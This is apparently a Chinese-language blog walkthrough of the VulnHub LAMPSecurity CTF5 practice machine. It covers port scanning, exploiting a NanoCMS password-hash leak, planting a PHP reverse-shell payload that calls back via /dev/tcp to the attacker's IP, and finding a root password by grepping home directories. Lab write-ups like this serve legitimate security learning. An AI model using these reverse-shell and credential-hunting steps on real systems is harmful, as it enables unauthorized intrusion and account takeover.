目录
写在开头
第一步:主机发现与端口扫描
第二步:web渗透
第三步:NanoCMS代码执行
第四步:提权
总结与思考
本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。打靶过程涉及到关于nano cms数据泄露利用、历史记录凭据搜索等。完整打靶思路详见:
「红队笔记」靶机精讲:LAMPSecurityCTF5 - 标准攻击链,却处处需要细心,枚举和信息收集能力才是考验。_哔哩哔哩_bilibili
本文针对的靶机源于vulnhub,详情见:
LAMPSecurity: CTF5 ~ VulnHub
靶机下载链接见:
https://download.vulnhub.com/lampsecurity/ctf5.zip
靶机下载后解压,用vmware打开,设置网络连接为NAT模式,开启靶机即可(界面如下):
常规思路,ip a查看网段和网卡信息,我的kali的ip为192.168.200.131,网段为192.168.200.0/24。然后使用以下几个命令进行扫描。所有的靶机都开局都相似,这里就不详解参数了,具体思路可看
W1R3S详细打靶思路
命令如下:
nmap -sn 192.168.200.0/24
nmap --min-rate -p- 192.168.200.144
nmap -sT -sV -O -p22,25,80,110,111,139,143,445,901,3306,36184 192.168.200.144
nmap -sU -p- 192.168.200.144
nmap --script=vuln -p22,25,80,110,111,139,143,445,901,3306 192.168.200.144
对应第一条命令:主机发现,发现靶机ip为192.168.200.144,第二条命令进行全端口扫描,发现开放端口22,25,80,110,111,139,143,445,901,3306,36184。第三条命令进行服务版本和操作系统探测,第四条命令进行udp端口探测,第五条命令进行漏洞脚本扫描。部分结果如下:
具体服务和操作系统版本为:
漏洞扫描脚本扫描结果非常多,80端口涉及Dos,敏感信息,sql注入,csrf等,其中我们比较关心的可能是sql注入和敏感信息。总之肯定先从web入手。
从80web端口暴露的信息较大,我们先从web入手。浏览器访问靶机ip,如下图:
这个页面上方有几个栏目(Home/About Us/Blog/Contact/Events),随便点点,同时观察url的特征,点击Blog,界面如下:
可以观察到在Blog界面暴露了cms为Nanocms,同时貌似还有一个跳转至管理界面的位置Admin Login,点击链接,可到达Nanocms的管理后台登录界面,如下:
找到这个登录界面,应该就是常规思路了。我们需要找到凭据登录后台,然后寻找后台cms有没有代码执行的位置,可以上传我们的payload。现在的核心思路就是如何登录这个后台。首先是弱口令,经过几次尝试之后发现不行。我们试图寻找有没有信息泄露的位置,可能暴露这个凭据。然后我又使用了dirb进行目录爆破,也没发现可利用的文件。用searchsploit搜索Nanocms的漏洞,查看是否有绕过登录这种漏洞:
searchsploit nanocms
发现了一个远程代码执行的漏洞,不过很遗憾,是需要认证的Authenticated,也就是需要先登录才能利用。再去谷歌搜索以下nanocms exploit看看有没有其他漏洞:
确实有,如上图。第二个词条就是searchsploit的RCE漏洞,第一、三个词条貌似都提到了一个密码泄露,点开看看:
这个界面给出了一个漏洞:Nanocms '/data/pagesdata.txt' 密码哈希信息泄露漏洞。这是非常关键的信息,他说明在路径/data/pagesdata.txt可能存在凭据泄露,因此我们浏览器访问:http://192.168.200.144/~andy/data/pagesdata.txt
这个界面的数据貌似是序列化数据。最后一行给出了用户名是admin,密码的哈希值是9d2f75377ac0ab991d40c91fd27e52fd ,感觉这个哈希是md5,还是用hash-identifier确认一下:
果然是md5,找个在线工具破解一下就行了,网址如下:
Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online
成功拿到了密码shannon,回到刚才的nanocms登录界面,使用用户名admin,密码shannon进行尝试,虽然有点卡,但总算登录成功了。
这一步就到了常规思路了。寻找后台能够代码执行的位置,构造我们的反弹shell的payload,从而在kali中拿到初始立足点。我们先在这个后台翻找翻找,看看是否存在代码执行的位置:
在Pages & Options界面,我们可以看到有两个已经部署好的界面Home和Contact,干脆就直接利用已有页面好了,点击Contant中的修改图标Edit,看看里面有啥:
里面有网页的源代码,那么我们干脆在上图的界面添加php的反弹shell指令,添加之前,先在kali中另起一个终端,然后开启nc监听1234端口:
nc -lvnp 1234
然后回到NanoCMS的Contact部署页面,添加php的payload:
& /dev/tcp/192.168.200.131/1234 0>&1'"); ?>
添加完成之后点击Save Page Content,回到kali中监听端口的终端,没啥反应,看来我们只是部署了代码,并未执行。回到最开始Blog的页面,由于我们修改的是Contact,应该要访问这个页面才触发,如下图,点击Contact:
在nc监听的端口中成功拿到了反弹shell:
whoami查看自己是谁,发现是apache,应该是个权限很低的用户
运行命令sudo -l查看权限却发现没有权限运行sudo,我们看一看/etc/passwd文件的信息:
cat /etc/passwd
发现有非常多的账户,不过大部分都没有bash环境,在末尾的几个账户是有bash环境的。在看看/etc/shadow,果然没有权限
又经过一系列的搜索,没发现特殊的信息,结合/etc/passwd中有Bash的用户有很多,很有可能其中的某个用户会在自己家目录中的文件里写入有关root的密码。我们在/home目录搜索一下包含'pass'字符串的文件有哪些,命令如下:
grep -R -i pass /home/* 2>/dev/null
该命令的含义是在
/home/
目录下递归搜索包含不区分大小写的字符串"pass"的文件,并将搜索结果输出到标准输出。命令的具体解释如下:
grep
: 是一个用于在文件中搜索指定模式的命令。-R
: 表示递归搜索,将在指定目录及其子目录下搜索文件。-i
: 表示忽略大小写,在搜索时不区分大小写。pass
: 是要搜索的字符串模式。/home/*
: 搜索的目录路径,/home/
表示在/home/
目录下搜索,*
表示搜索所有子目录和文件。2>/dev/null
: 将标准错误输出重定向到/dev/null
设备,这样错误信息将被丢弃而不会显示在终端上。
结果搜到了非常多的文件,我们慢慢往下翻找,最终发现/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note含有一个title标签,为Root password,这很可能就是root密码所在。
查看这个文件:
cat /home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note
发现这是个xml文档,其中有一串奇怪的字符'50$cent',这很可能就是root密码,因此我们运行指令su - 进行提权,发现报错,估计是shell不完全的问题。
因此先用python获取交互性更好的shell
python -c "import pty;pty.spawn('/bin/bash')"
然后运行提权指令:
su -
至此打靶完成。
总体而言感觉这个靶机也不算复杂,但在web渗透和提权的过程还是需要一些经验。寻找cms密码的时候也是需要一些经验的,如果执迷于dirb目录爆破,虽然可以看到很多文件,但都不可利用,容易耗费大量的时间。同时由于这个靶机开放的端口比较多,暴露的攻击面也比较多,有可能让我们钻入兔子洞难以出来。最后提权的时候,搜索含有pass字符串的文件也是很有经验的操作,而这步操作正是基于/etc/passwd文件中的多用户bash的情况,很有可能有用户为了方便提权操作,会在自己的目录下存放有关提权的密码文件,我们正是利用了这一点。最后总结一下打靶过程:
第一步:主机发现和端口扫描:漏洞扫描发现了80端口存在很多漏洞,还是从web入手。
第二步:web渗透,发现NanoCMS及其后台登录界面,寻找登录密码,最后Google搜索到了NanoCMS的凭据泄露漏洞,成功登录后台。
第三步:CMS后台代码执行:登录NanoCMS后台,寻找代码执行的位置,添加反弹shell的payload,保存修改并点击对应页面触发代码执行,拿到了初始立足点。
第四步:提权。寻找敏感信息,最后发现用户patrick家目录中的文件包含root密码,提权成功。
这篇打靶就完成了,以后会继续坚持打靶,学习网安知识并分享。希望读者多多点赞支持!如有问题欢迎评论区讨论,我一定知无不言。